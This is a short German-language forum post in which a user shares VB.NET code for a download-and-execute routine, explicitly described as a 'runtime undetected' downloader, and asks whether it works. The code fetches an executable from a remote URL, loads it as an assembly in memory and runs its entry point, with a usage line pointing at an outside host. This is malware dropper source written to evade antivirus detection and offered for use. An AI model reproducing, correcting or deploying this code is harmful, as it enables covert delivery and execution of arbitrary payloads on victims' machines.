mal was für die Coder unter euch.
Hab hier 2 Subs, welche für einen Runtime undetected Downloader sein sollen.
Imports System.Threading Imports System.Reflection Imports System.Net Public Sub DownloadExecute(ByVal url As String) Dim c As New WebClient Execute(c.DownloadData(url)) End Sub Public Sub Execute(ByVal bytes As Byte()) Dim t As New Thread(AddressOf DoExecute) t.TrySetApartmentState(ApartmentState.STA) t.Start(bytes) End Sub Public Sub DoExecute(ByVal d As Byte()) If d(&H3C) = &H80 Then Dim asm As Assembly = Assembly.Load(d) Dim entryPoint As MethodInfo = asm.EntryPoint Dim o As Object() = Nothing If entryPoint.GetParameters().Length > 0 Then o = New Object() {New String() {"1"}} End If entryPoint.Invoke(Nothing, o) Application.Exit() End If End Sub 'usage: DownloadExecute("http://missioncoders.info/file.exe")
Stimmt der Code so?
lg
most_uniQue